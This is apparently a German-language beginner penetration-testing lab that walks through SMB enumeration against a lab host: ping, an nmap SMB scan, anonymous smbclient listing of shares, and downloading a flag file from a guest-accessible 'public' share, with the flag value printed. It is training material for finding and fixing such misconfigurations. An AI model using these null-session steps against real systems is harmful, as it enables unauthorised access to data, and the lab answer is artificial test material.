SMB-Enumeration und Gastzugriff

LinuxBeginner
Jetzt üben

Einführung

Willkommen zu diesem praktischen Lab, das sich auf die Enumeration und Ausnutzung von Server Message Block (SMB) konzentriert. SMB ist ein Netzwerkprotokoll für die Dateifreigabe, das es Anwendungen auf einem Computer ermöglicht, Dateien zu lesen und zu schreiben sowie Dienste von Serverprogrammen in einem Computernetzwerk anzufordern. Aufgrund seiner weit verbreiteten Nutzung ist es ein häufiges Ziel für Angreifer.

In diesem Lab schlüpfen Sie in die Rolle eines Penetration Testers. Sie beginnen mit grundlegender Netzwerkerkundung, um zu bestätigen, dass das Ziel online ist. Als Nächstes verwenden Sie das leistungsstarke Scan-Tool nmap, um einen offenen SMB-Dienst zu entdecken. Schließlich verwenden Sie smbclient, um den Dienst zu untersuchen, eine Fehlkonfiguration zu finden, die anonymen Gastzugriff ermöglicht, und eine versteckte Flagge aus einer öffentlichen Freigabe abzurufen.

Nach Abschluss werden Sie verstehen, wie Sie:

  • Die Netzwerkkonnektivität mit ping überprüfen.
  • Offene SMB-Ports und -Dienste mit nmap scannen.
  • SMB-Freigaben mit smbclient enumerieren und verbinden.
  • Eine Fehlkonfiguration des Gastzugriffs ausnutzen, um Dateien abzurufen.

Lassen Sie uns beginnen.

Konnektivität zum Ziel mit Ping überprüfen

In diesem ersten Schritt führen Sie eine grundlegende Erkundungsaufgabe durch: Sie überprüfen, ob die Zielmaschine online und von Ihrer Angreifer-Maschine erreichbar ist. Der Befehl ping ist ein Standardwerkzeug dafür, das ICMP-Pakete an einen Host sendet, um eine Antwort zu testen.

Ihre Umgebung enthält ein Zielsystem, das als target aliasiert ist. Um die Konnektivität zu bestätigen, führen Sie den folgenden Befehl in Ihrem Terminal aus, um vier Pakete zu senden:

ping -c 4 target

Das Flag -c 4 weist ping an, genau vier Pakete zu senden und dann zu stoppen. Ein erfolgreiches Ergebnis sieht ähnlich aus wie die folgende Ausgabe, die Antworten vom Ziel zeigt. Die IP-Adresse und die Zeitwerte können abweichen.

PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms

Die Anzeige "4 received, 0% packet loss" bestätigt, dass Ihre Maschine mit dem Ziel kommunizieren kann, und bereitet die Bühne für die nächste Phase der Enumeration.

Offene Ports mit Nmap scannen

In diesem Schritt verwenden Sie nmap (Network Mapper), um den Zielhost nach offenen Ports zu scannen und laufende Dienste zu identifizieren. Dies ist ein entscheidender Schritt, um potenzielle Angriffsvektoren zu finden. Wir werden unseren Scan auf den SMB-Dienst konzentrieren.

Führen Sie den folgenden nmap-Befehl aus, um einen Scan zur Erkennung von Dienstversionen (-sV) durchzuführen und ein Skript (--script) auszuführen, um SMB-Protokolle auf dem target zu überprüfen:

nmap -sV --script smb-protocols target

Nach einigen Momenten wird nmap seine Ergebnisse berichten. Die Ausgabe wird ähnlich wie diese aussehen:

Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 10:31 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Host script results:
| smb-protocols:
|   dialects:
|     2.02
|     2.10
|     3.00
|     3.02
|_    3.11

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds

Die Ausgabe bestätigt, dass die Ports 139/tcp und 445/tcp offen sind und den Samba-Dienst ausführen. Port 445 ist der moderne Port für SMB. Diese Entdeckung ist unser Signal, den SMB-Dienst auf Schwachstellen zu untersuchen.

Verbindung zum Ziel über SMB herstellen

In diesem Schritt verwenden Sie das Dienstprogramm smbclient, um mit dem SMB-Dienst auf dem Ziel zu interagieren. Ihr Ziel ist es zu sehen, ob Sie sich ohne Passwort verbinden können, eine Technik, die als "Null-Session" oder anonymer Login bekannt ist.

Zuerst listen wir die verfügbaren Shares auf dem Ziel auf. Das Flag -L listet Dienste auf, und das Flag -N versucht, sich ohne Passwort zu verbinden.

Führen Sie den folgenden Befehl aus:

smbclient -L //target -N

Wenn der Server falsch konfiguriert ist und Gastzugriff erlaubt, sehen Sie eine Liste der verfügbaren Shares. Die Ausgabe sollte ähnlich wie diese aussehen:

        Sharename       Type      Comment
        ---------       ----      -------
        public          Disk
        IPC$            IPC       IPC Service (Samba Server)
SMB1 disabled -- no workgroup available

Die wichtigste Erkenntnis hier ist der public-Share. Der Name deutet darauf hin, dass er für jedermann zugänglich sein könnte. Im nächsten Schritt werden Sie sich mit diesem Share verbinden, um dessen Inhalt zu erkunden.

Zielsystem erkunden und Flagge finden

In diesem letzten Schritt verbinden Sie sich mit dem public-Share, den Sie entdeckt haben, und suchen nach der Flagge. Dies simuliert die Post-Exploitation-Phase, in der ein Angreifer nach wertvollen Daten sucht.

Verbinden Sie sich direkt mit dem public-Share mit smbclient, wiederum mit dem Flag -N für anonymen Zugriff:

smbclient //target/public -N

Eine erfolgreiche Verbindung bringt Sie zu einer smbclient-Eingabeaufforderung, die wie smb: \> aussieht. Sie durchsuchen nun den Remote-Dateifreigabe.

Try "help" to get a list of possible commands.
smb: \>

Verwenden Sie den Befehl ls, um den Inhalt des Shares aufzulisten:

ls

Sie sollten die Datei flag.txt aufgelistet sehen.

smb: \> ls
  .                                   D        0  Fri Sep 19 10:29:39 2025
  ..                                  D        0  Fri Sep 19 10:29:39 2025
  flag.txt                            N       29  Fri Sep 19 10:29:39 2025

  40901312 blocks of size 1024. 22067688 blocks available

Laden Sie die Datei nun mit dem Befehl get auf Ihren lokalen Rechner herunter:

get flag.txt

Hinweis: Das Dienstprogramm smbclient verfügt nicht über einen integrierten cat-Befehl, um den Dateiinhalt direkt anzuzeigen. Sie müssen die Datei zuerst mit get herunterladen.

Sobald der Download abgeschlossen ist, geben Sie exit ein, um die smbclient-Sitzung zu beenden. Verwenden Sie schließlich den Befehl cat auf Ihrem lokalen Terminal, um den Inhalt der heruntergeladenen Flagge anzuzeigen.

cat flag.txt

Das Terminal zeigt den Wert der Flagge an.

labex{smb_gu3st_acc3ss_fl4g}

Herzlichen Glückwunsch! Sie haben erfolgreich einen SMB-Dienst aufgezählt, eine Fehlkonfiguration des Gastzugriffs ausgenutzt und die Flagge abgerufen. Kopieren Sie den Flag-Wert, um das Lab abzuschließen.

Zusammenfassung

In diesem Lab haben Sie erfolgreich einen grundlegenden Penetrationstest-Workflow gegen einen falsch konfigurierten SMB-Dienst durchgeführt. Sie haben gelernt und geübt, wie man:

  • ping verwendet, um die Netzwerkkonnektivität mit einem Ziel zu überprüfen.
  • nmap einsetzt, um nach offenen Ports zu suchen und den SMB-Dienst zu identifizieren.
  • smbclient -L verwendet, um verfügbare Netzwerkfreigaben anonym aufzulisten.
  • Sich mit smbclient über eine Null-Session mit einer offenen SMB-Freigabe verbindet.
  • Eine Remote-Freigabe navigiert und Dateien mit ls und get herunterlädt.

Diese Übung demonstriert eine häufige und kritische Schwachstelle: das Zulassen von anonymem oder Gastzugriff auf Netzwerkfreigaben. Solche Fehlkonfigurationen können zur Offenlegung sensibler Daten führen. Indem Sie verstehen, wie Sie diese Schwächen finden und ausnutzen können, sind Sie besser darauf vorbereitet, Ihre eigenen Systeme dagegen abzusichern.